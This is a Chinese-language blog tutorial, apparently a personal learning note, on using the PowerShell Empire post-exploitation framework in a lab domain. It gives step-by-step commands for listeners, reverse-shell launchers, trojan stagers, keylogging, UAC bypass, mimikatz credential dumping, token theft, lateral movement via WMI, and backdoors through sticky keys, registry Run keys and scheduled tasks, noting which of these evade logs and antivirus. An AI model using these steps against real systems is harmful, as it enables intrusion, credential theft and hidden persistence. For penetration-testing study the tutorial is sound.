内网学习五-内网渗透神器Empire

Empire

官网:http://www.powershellempire.com/

Empire是一个针对PowerShell的内网渗透工具。在内网渗透中,我们肯定有机会用到PowerShell脚本,作为win下自带的脚本语言,PowerShell 脚本的免杀性是极高的,学习记录一下。。

github上download下来然后setup目录下直接install.sh即可安装好不说啥,报错的话直接reset.sh就好

下面就记录一下常规的步骤,empire的使用过程跟msf差不多,都要设置一个监听器

Empire大致就是下面的一个过程

先是创建一个listener –> agent –> use module

启动empire,界面如下

1
./empire

lA9Feg.png

创建监听器

创建一个listener,每个会话都是依据这个listener产生的

1
uselistener

进入listeners通过命令list列举当前listners,下图展示没有listeners

lA90mD.png

输入uselistener来设置采用何种模式,补全可以看到看到一共有7种模式

lA9hnS.png

这里以http模式为例,也可以选择熟悉的meterpreter,选择http注意80端口不要被占用,然后通过info查看需要设置的值

lANHeK.png

给监听器起个名字并设置好监听器的ip地址也就是本机地址

1
2
3
set Name test
set Host 192.168.70.129
execute

lAU3Y4.png

使用back命令返回listener模块查看建立的监听器

lAUwTO.png

删除监听,使用kill命令加上监听器名字即可

launcher

产生反弹shell的命令,Empire集成了一个launcher模块,可以产生相对应命令,默认好像就两个语言,一个python一个powershell,个人觉得python应该是给Unix系统用的,powershell应该是给window主机使用的。

lAdssI.png

因为win7之后大概率都会存在powershell,所以powershell就是一个比较热门的选择,这样我们就可以在边界机器上执行的到我们的会话,复制产生的那一段脚本执行即可获得会话,msf里面叫session,empire里面叫agent

使用agents进入agents模块可以查看我们得到会话,可以使用remove命令将其删除

lA0u34.png

进入会话使用interact命令,可以看得到这里的会话名字是随机的,我们可以进入后进行修改名字,使用rename命令

lABrQJ.png

另外可以使用list stale查看失效的会话,然后通过remove stale

lEzzN9.png

会话相关设置

会话里面有很多模块可以使用,使用help命令可以查看,另外如果不是Empire里面自带的命令的话,他会默认去window的cmd执行,但是可能需要点时间回显

lAD73F.png

而且还兼容部分msf的命令,xmsl,上手极快

lA463R.png

输入help agentcmds可以看到可供使用的常用命令

lA45Ue.png

使用带有空格的cmd命令的时候,要使用“shell+命令”的格式,如下图所示

lA4LKP.png

生成木马

这个模块有点像msfvenom,Empire里拥有多个模块化的stagers,接着输入usestager来设置采用何种模块,产生我们所需要的执行文件

lAae4e.png

这里以产生一个bat文件为例

lAhuo4.png

需要先设置好listener,然后execute,文件默认产生在/tmp/目录下,当受害者点击bat文件就会反弹一个回话回来了

lAhyOf.png

除了这一个还有其他很有意思的木马模块,可以多尝试

恶作剧模块

usemodule trollsploit/message

lV8peU.png

受害者就会弹出一个弹窗

lV8kWR.png

下载文件

download [path]

lVY9w8.png

上传文件

upload [file] [target file]

lVYBfH.png

信息收集

后渗透的信息收集是比较重要的一个模块,我们可以使用searchmodule命令搜索需要使用的模块,这里通过键入“usemodule collection”然后按Tab键来查看完整列表

lE7TsA.png

使用某一个模块后,在agent内使用jobs会显示当前在后台的记录,如果要终止一个记录,可以使用jobs kill JOB_name

lEbXvQ.png

截屏模块

usemodule collection/screenshot直接execute即可

lEHrY8.png

当然除了这个模块,也可以直接使用命令sc截屏

lEHVWF.png

键盘记录

usemodule collection/keylogger直接execucte启动

受害者打开笔记本输入一些内容,会同时保存并展示在终端上

lEbknA.png

lEbYNV.png

不怎么准确抓取的内容。。。

剪贴板记录

跟上面操作一样不重复

usemodule collection/clipboard_monitor

收集目标主机有用的信息

usemodule situational_awareness/host/winenum 查看本机用户,域组成员,最后密码设置时间,剪贴板内容,系统基本系统信息,网络适配器信息等等,直接execcute即可

image-20191227093951201

内容太多可以去保存的agent.log中查看

端口扫描

situational_awareness/network/portscan模块

lEXZrQ.png

Arp扫描

usemodule situational_awareness/network/arpscan

设置一下Range参数,输入下列命令设置为要扫描的网段即可

1
2
set Range 192.168.31.0-192.168.31.254
execute
DNS信息获取
1
usemodule situational_awareness/network/reverse_dns

设置一下range,这个可以快速帮我们定位机子的名字和ip,有利于帮助我们后期横向扩展

leMKBD.png

查找共享
1
usemodule situational_awareness/network/powerview/share_finder

lVkge0.png

提权

Windows在Vista系统开始引入UAC账户控制体系,分为三个级别:

1
2
3
4
5
高:完整的管理员权限

中:标准用户权限

低:很低的权限

UAC是个什么东西,简单滴说就是这个框框,用于控制用户行为

lVG3EF.png

跟msf一样,Empire也存在bypassuac的模块,可用于绕过UAC进行提权

bypassuac

usemodule privesc/bypassuac,设置Listener参数,运行execute

lVt6C4.png

执行成功的话会返回一个带*的会话,这是成功绕过UAC的会话

leemPP.png

bypassuac_wscript

模块大概原理是使用c:\Windowswscript.exe执行payload,实现管理员权限执行payload,绕过UAC。只适用于系统为Windows 7,目前尚没有对应补丁,部分杀毒软件会有提示。

leelrQ.png

ms16-032

自带了MS16-032 (KB3124280) 模块,输入usemodule privesc/ms16-032,只需要设置下Listener,运行即可,虚拟机效果不太好

lVaAEV.png

还有其他ms模块,可以都试一下

lVUjN8.png

PowerUp

Empire内置了PowerUp部分工具,用于系统提权

lVdPRe.png

其中的AllChecks模块可以执行所有脚本检查系统漏洞

lVdaJU.png

这上面的操作在域的一个普通用户是完不成的,必须要在本地管理员组的域成员才能完成操作,但是一般的话方便管理,普通域成员一般都在本地管理员组里面。

内置mimikatz模块

使用这个模块的前提是我们已经提权了,不然会出现下面的情况

lVdHTP.png

可以接着上面的操作

输入mimikatz命令

lemdYt.png

导出密码后可以使用creds命令查看Empire列举的密码

lemDl8.png

使用pth窃取一个域用户的身份

le1y8A.png

通过steal_token命令来窃取这个进程

le1hVS.png

此时即可以获取身份令牌了,尝试登陆域内另外一台主机查看

le1dHO.png

另外也可以使用ps查找域用户的相关进程,然后steal也行,输入revtoself命令可以将令牌权限恢复到原来的状态

le3rZT.png

会话注入

usemodule management/psinject模块来进程注入,获取权限,需要设置的是Listener和ProcId参数,成功的话会返回一个会话

leybbF.png

Invoke-PsExec

PsExec是我在Metasploit下经常使用的模块,还有pstools工具包当中也有psexec,缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。

前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。

usemodule lateral_movement/invoke_wmi

需要设置机器名和Listener

1
2
3
Set ComputerName WIN03.test.lab
Set Listener test
Execute

成功地话就会返回会话

Invoke-WMI

它比PsExec安全,所有window系统启用该服务,当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。但防火墙开启将会无法连接。usemodule lateral_movement/invoke_wmi

后面的操作跟上面一样的Invoke模块一样

后门

shift后门

usemodule lateral_movement/invoke_wmi_debugger

这个模块需要设置一下TargetBinary,默认是粘贴的那个,可以换,然后就是计算机名,监听器

leybbF.png

触发这个后门就会返回会话

sethc.exe可以替换

1
2
3
4
5
6
7
Utilman.exe(快捷键为: Win + U)

osk.exe(屏幕上的键盘Win + U启动再选择)

Narrator.exe (启动讲述人Win + U启动再选择)

Magnify.exe(放大镜Win + U启动再选择)
注册表后门
1
usemodule persistence/userland/registry

运行后会在目标主机启动项添加一个命令

1
2
3
set Listener shuteer
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute

运行后当我们登陆系统时候就会运行,反弹回来

leRvXq.png

计划任务获得系统权限

usemodule persistence/elevated/schtasks

实际渗透中,运行该模块时杀软会有提示。

要设置DailyTime,Listener这2个参数

lefmxs.png

它也有一个RegPath参数,如果也设置成HKCU:Software\Microsoft\Windows\CurrentVersion\Run execute就会在某个时间点创建一个启动项后门啦

总结

这款Empire算是window域渗透的神器了,集成了众多powershell脚本,不用再下载脚本到靶机上,执行起来也不会像msf动静那么大,谢谢大佬们的总结,自己也动手测试了一遍,对域的理解更深一层了,学习了2333

References

https://www.anquanke.com/post/id/87328

https://www.anquanke.com/post/id/87333

http://www.powershellempire.com/

https://www.jianshu.com/p/b3689b843d27


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. Empire
    1. 1.1. 创建监听器
    2. 1.2. launcher
    3. 1.3. 会话相关设置
    4. 1.4. 生成木马
    5. 1.5. 恶作剧模块
    6. 1.6. 下载文件
    7. 1.7. 上传文件
    8. 1.8. 信息收集
      1. 1.8.1. 截屏模块
      2. 1.8.2. 键盘记录
      3. 1.8.3. 剪贴板记录
      4. 1.8.4. 收集目标主机有用的信息
      5. 1.8.5. 端口扫描
      6. 1.8.6. Arp扫描
      7. 1.8.7. DNS信息获取
      8. 1.8.8. 查找共享
    9. 1.9. 提权
      1. 1.9.1. bypassuac
      2. 1.9.2. bypassuac_wscript
      3. 1.9.3. ms16-032
      4. 1.9.4. PowerUp
    10. 1.10. 内置mimikatz模块
    11. 1.11. 会话注入
    12. 1.12. Invoke-PsExec
    13. 1.13. Invoke-WMI
    14. 1.14. 后门
      1. 1.14.1. shift后门
      2. 1.14.2. 注册表后门
      3. 1.14.3. 计划任务获得系统权限
    15. 1.15. 总结
    16. 1.16. References